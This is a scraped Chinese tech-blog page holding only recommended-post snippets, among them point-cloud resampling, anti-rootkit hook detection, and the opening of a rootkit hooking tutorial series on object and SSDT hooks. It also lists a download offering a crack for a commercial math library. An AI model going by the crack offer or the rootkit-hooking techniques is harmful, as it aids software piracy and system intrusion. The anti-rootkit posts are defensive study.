WLOP算法是一种点云重采样方法,通过迭代优化实现点云均匀化和特征保留。算法包含数据项(加权平均位置保持几何特征)和正则化项(排斥邻近点实现均匀分布)两部分。代码实现基于PCL库,通过KD树加速邻域搜索,使用高斯权重函数计算点位置更新。参数包括输出点比例、邻域半径、正则化权重和迭代次数。该算法不依赖网格信息,适合处理大规模扫描数据的预处理优化。

点云侠的博客 628

基于CallStack的反Rootkit HOOK检测

Anti-Rootkit目前扫描Hook的方法主要有以下几种:   1.对抗inline -hook ,IAT/EAT Hook   Anti-Rootkit使用读取磁盘上系统文件并将之进行map\重定位后,同内存中的代码进行对比的方法来检测inline hook(或EAT/IAT HOOK,后同),类似的工具例如Rootkit Unhooker, gmer, Icesword等等。

1553

camera QXXX架构

This article introduces the QCX camera architecture for Qualcomm’s latest automotive chips including SA8650. It elaborates the layered camera stack under QNX, HGY and HQX systems, covering client applications, stream manager, CamX components and hardware d

qq_39257814的博客 4543

数学建模学习(5):最全概率分析之图表绘制详解,内容比较多,建议收藏

(1) 绘制正整数频率使用 tabulate(X) (2)

全栈川川 4591

基于CallStack的Anti-Rootkit HOOK检测思路

基于CallStack的Anti-Rootkit HOOK检测思路:MJ00112007-11-2th_decoder@126.comAnti-Rootkit目前扫描Hook的方法主要有以下几种:1.对抗inline -hook ,IAT/EAT HookAnti-Rootkit使用读取磁盘上系统文件并将之进行map/重定位后,同内存中的代码进行对比的方法来检测inline hook(或EAT/I

1730

Freeswitch 如何检测链路是否有回铃音

Freeswitch回铃音检测解决方案 问题描述:呼叫手机时,虽然信令正常(183/180),但部分手机无回铃音,导致坐席无法判断是否接通,用户体验差。 解决方案: 先播放本地音频作为回铃音 实时检测用户侧是否有声音输入 检测到声音后自动切换为用户侧音频 技术实现: 使用Freeswitch APP实现功能 创建结构体保存实例数据(包括铃声文件、会话句柄、VAD检测器等) 通过media bug机制实现音频流的替换 利用VAD(语音活动检测)技术监控用户侧声音 当检测到用户说话时自动终止本地铃声播放 该方案

2301_81507069的博客 51

【原创】RootKit hook 之[一] object hook

标 题: 【原创】RootKit hook 之[一] object hook 作 者: combojiang 时 间: 2008-01-08,11:43:31 链 接: http://bbs.pediy.com/showthread.php?t=57900 今天是2008年1月8号,一个非常响亮的日子,今天我们将开始rootkit实战之旅。第一篇是object hook. 这

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 691

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

使用IRP进行文件操作

使用IRP进行文件操作 首先声明这个是菜鸟—我的学习日记,不是什么高深文章,高手们慎看.一定要先感谢为技术的进步而付出辛勤汗水的人,感谢他们对技术的共享.一个通用IRP访问文件的十六进制编辑器(开源代码)     --   被诅咒的神(邪恶八进制信息安全团队)Windows平台内核级文件访问                               --   baiyuanf

啤梨Lily的 world 3753

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

上一篇: ntoskrnl.exe implementation
下一篇: RootKit hook之[二] SSDT hook
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值